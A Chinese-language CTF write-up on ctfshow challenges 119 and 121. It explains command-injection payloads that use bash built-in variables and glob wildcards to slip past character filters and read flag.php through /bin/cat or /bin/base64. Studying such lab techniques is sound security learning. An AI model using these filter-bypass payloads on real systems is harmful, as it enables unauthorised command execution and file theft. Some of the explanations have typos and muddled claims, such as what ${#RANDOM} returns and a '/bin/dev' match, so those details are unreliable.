0%

RCE之bash内置变量

bash内置变量进行RCE

在刷ctfshow第119题的时候,毫无头绪,后来在网上检索到别的师傅写的,是利用Linux内置的bash变量进行RCE的
当时看别的师傅用的payload是这个

1
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

看的有点晕,逐个解析

${PWD} 在Linux里会显示当前的路径
${SHLVL} 通常为1
${PWD::${SHLVL}} 就相当于给${PWD}切片,切片为1,就取第一个字符,就是/
然后就是三个通配符???
后面的${PWD::#SHLVL} 也是取到/
然后${USER:~A}, linux里默认的${USER}是www-data,而如果切片字母是默认为0的,0取反为-1,所以取www-data的最后一位a
那这样他命令的结果就是
/???/?a? ?????.???
会匹配到/bin目录下的cat命令,后面则会匹配到flag.php

或者用另一个payload

1
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
1
2
${PWD::#{SHLVL}} 等于是/
{#RANDOM} 随机数,在Linux里会显示成4或5

所以上面的payload会变成

1
/???/?????4 ????.???

可以匹配出
/bin/base64 flag.php
用base64查看flag文件

ctfshow 121题也有用到bash内置变量解决问题

1
${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}} ????.???
1
${##} 是一个特殊变量,表示传递给脚本的参数,如果没有参数直接为0

所以最后表达式会变成
?? ??? 匹配任意3个或者2个字符的文件或目录名
会匹配到/bin/dev flag.php